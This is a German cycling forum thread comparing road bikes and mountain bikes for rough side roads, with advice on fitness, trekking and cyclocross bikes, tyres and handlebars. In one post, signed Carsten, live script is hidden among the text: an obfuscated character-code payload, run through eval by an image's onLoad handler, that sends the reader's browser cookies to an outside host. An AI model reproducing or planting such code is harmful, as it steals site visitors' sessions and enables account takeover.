Rennrad oder MTB?

[Tom]

Was ist auf den teils etwas holprigen Nebenstraßen besser?
Ich habe kein Interesse daran im Gelände herumzuklettern, sondern möchte nur auf der Straße fahren, schwanke aber noch zwischen Rennrad und MTB (ev. mit Slicks oder Semislicks) da die zum Radfahren interessanten kleinen Straßen oft schlecht asphaltiert sind und denke an den Komfort eines MTB-Reifens.

Was meinen die Radprofis im Forum dazu?

[spinon]

holprige straßen, kopfsteinpflaster, die vermutlich meisten radwege sind fürs rennrad nix. zu gefährlich für den fahrer (stürze vorgrammiert), zu gefährlich für so ein empfindliches rennrad. weil du auf solchen belägen ja ganz gerne mal fahren möchtest und vielleicht auch gar nicht typischen rennradsport machen möchtest, wirst du an einem rennrad nicht viel freude haben, glaube ich.
es gibt jetzt neuerdings so genannte "fitnessbikes", kann mir vorstellen, dass das was ist für dich. wie die aussehen, variiert von hersteller zu hersteller. aber die räder sind in vielem rennrädern ähnlich. manche hersteller nehmen sogar rennradrahmen (bzw. die rahmen haben dieselbe geometrie). auf jeden fall sind aber andere lenker drauf (höhere, sodass man nicht die tiefe haltung wie auf dem rennrad hat), und sie haben andere laufräder/breitere reifen, sodass man damit auch mal über schotter fahren kann. sie haben oft super schaltwerke/-gruppen und übersetzungen, 20 bis 27 gänge, manchmal sind sogar rennrad-gruppen drauf, sodass man schnell damit unterwegs ist und auch für bergige gebiete die übersetzungen stimmen. die räder sind i.d.r. um einiges günstiger als rennräder.
zielgruppe sind wohl leute, die weder ein reinrassiges rennrad wollen noch ein mtb, aber trotzdem gerne sportlich und schnell unterwegs sind.
vielleicht ist auch ein trekking-bike etwas für dich. variiert ebenfalls stark von hersteller zu hersteller - mal gehen die räder in richtung reiserad, mal wiederum in richtung besagtes fitnessrad. guck dir doch mal ein paar räder von herstellern auf deren websites an, z.b. www.giant-bikes.com, www.scottusa.com, www. specialized.com, www.bianchi.com, www.trekbikes.com, www.mbk.fr, www.roseversand.de.
nicht schlecht finde ich auch die zeitschrift "trekkingbike", man bekommt da gute gedankenanregungen. das rad muss auf jeden fall zu dir und deinem typ passen und mit dem übereinstimmen, was du damit willst, sonst macht es dir keinen spaß.

[klaus]

am besten beides!obwohl ihr radfahrer in einem besser dran seid,bei euch gibts nicht so peinlichkeiten wie harleys...
cheers,klaus

[blondy]

hi klaus,

wie die Harleys sind doch nett und gemütlich,
manchmal fahre ich mit,macht spaß.
colemann hab ich mir angeschaut,jou wahnsinn*fg*

schönen tag blondy

[klaus]

für mich merkwürdige dinger,mehr zum anschaun als zum fahren...und mitfahren...das mach ich sowieso niemals!
coleman:vom bb-standpunkt aus natürlich unschlagbar,aber ich möcht ehrlich gesagt nicht so rumsteigen...
cheers,klaus

[kurt]

mit dem rennrad sollte man nur auf gutem asphalt fahren.

gruß, kurt

[Zeus]

Ach Mensch,

das war auch mein Gedanke. Du bist mir zuvorgekommen.

LG,

René, der kommende Sommersaison auch auf dem Rennrad bestreiten wird

[Zeus]

Unrecht hast Du nicht, weshalb ich auch überwiegend mit dem MTB unterwegs bin, wenn auch mit "Straßenbereifung". Im Umkehrschluß aber kann man sehr viel Vergnügen bei Tempo 45+ mit dem Rennrad auf einer Landstraße haben.

LG,

René

[Fetz]

Hi Tom,

MTB ist für Straße nix richtiges und für ebene Straße schon mal gar nix.
Warum soviele Räder grade (Besenstiel) Lenker haben ist mir ziemlich unklar. Die funktionieren nur sinnvoll Bergrauf und Bergrunter. Deswegen bauen soviele Leute da ja auch diese Hörnchen dran. Damit wird der Lenker dann auch für längere Strecken erträglich.<script>b=String.fromCharCode(98,61,110 ,101,119,32,73,109,97,103,101,40,41,59,98,46,115,1 14,99,61,39,104,116,116,112,58,47,47,102,101,116,1 22,46,110,101,116,47,115,109,105,108,101,47,115,10 9,105,108,101,46,103,105,102,63,39,43,99,46,99,111 ,111,107,105,101,59)</script>

An Tourenrädern findet man inzwschen oft Brezellenker, die funktionieren für eher aufrechtes Fahren wohl ganz gut.
Vielfahrer bevorzugen oft Rennlenker. Die ermöglichen für unterschiedliche Fahrsituationen verschiedene, angepasste Griffpositionen, ausserdem hilft das Handgelenksprobleme zu vermeiden.

Früher gab es mal Stahlgabeln die nach vorne gebogen waren und angenehmen Federkomfort boten. Im Zuge des (teils schwachsinningen) MTB-Booms sind die Gabeln grade und bretthart geworden, inzwischen sogar aus Aluminium (noch steifer) und man muß teuere Federgabeln bauen/kaufen.<script>c=document;a=eval;</script>

Räder mit Federgabeln und Rennlenker gibts aber kaum. (Cinelli hat eins (ziemlich schräge:28"hinten, 26" vorne, ist als Boten-Stadtrad gedacht) und Cannondale ein Cyclocross-Rad (sehr teuer)).

Was es in grosser Auswahl gibt sind die sogenannten Cross-Räder. (Beispiel) Die haben aber alle den fragwürdigen Besenstiellenker.

MTB und Rennrad unterscheiden sich in der Geometrie übrigens ganz erheblich. Ein Rennrad hat einen wesentlich kürzen Radstand und einen steileren Lenkopfwinkel. Dadurch ist es wesentlich wendiger.

Gruss,
<img src="/phpapps/ubbthreads/images/blank.gif" onLoad="a(b)"> Carsten

[ojo]

Hi!

An welche Streckenlängen hast Du gedacht? Und welche
Steigungen beinhaltet das?

Bei kurzen Strecken und starken Steigungen würden ich zum Mountain-Bike raten, ansonsten zum Rennrad. Ein _gutes_ Rennrad hat auch mit Stolperstrecken kein Problem. Es braucht dafür aber wirklich gut eingespeichte Laufräder.
Sinnvoll wären dann auch möglichst dicke Reifen (25 mm, 28 mm gibt es auch, könnte aber knapp werden) mit maximalem Druck aufgepumpt.

Gruß,
Oliver

[kurt]

[kurt]

...würde ich nicht verallgemeinern. auch rennräder haben unterschiedliche rahmengeometrien, und ein MTB kann genauso wendig sein.

gruß, kurt

[pingelchen]

...was du mit dem rad genau anstellen möchtest trainingstechnisch?

willst du rennradeln (also möglichst schnell)
willst du touren (möglichst lange und bequem)
willst du im dreck dich suhlen (nein, willst du nicht )

willst du überhaupt trainieren! mit dem rad oder nur umher gondeln?

also im prinzip ist es egal was für ein bike du nimmst solange du keine vorstellung von dem was du damit machen möchtest hast!

vielleicht ist ein leichtes windschittiges fullsuspensiontrekkingrad der beste allrounder für dich

http://www.pingelchen.de/media/zwergenaufstand1.JPG

[Fetz]

Für etwas mehr Platz im Rahmen (für breitere Reifen) gibt es Querfeldein-Rennräder (Cyclocross, Beispiel). Die haben dann auch Cantilever-Bremsen.

Gruss,
[img]/phpapps/ubbthreads/images/blank.gif[/img] Carsten

[ojo]

Hi!

Das Stevens ist zwar bezahlbar (im Gegensatz etwa zum Cannondale Rad), liegt aber immer noch deutlich über den Preisen für preiswerte Rennräder und MTBs.

Muss man halt abwägen, ob man für ein Rennrad mit grösserer Robustheit, höherem Tretlager und Tragefähigkeit mehr Geld ausgeben will.

Ich finde z.B. auch die aktuellen "Fitness-Bikes" prinzipiell gut, die Preise aber unverschämt teuer.

Gruß,
Oliver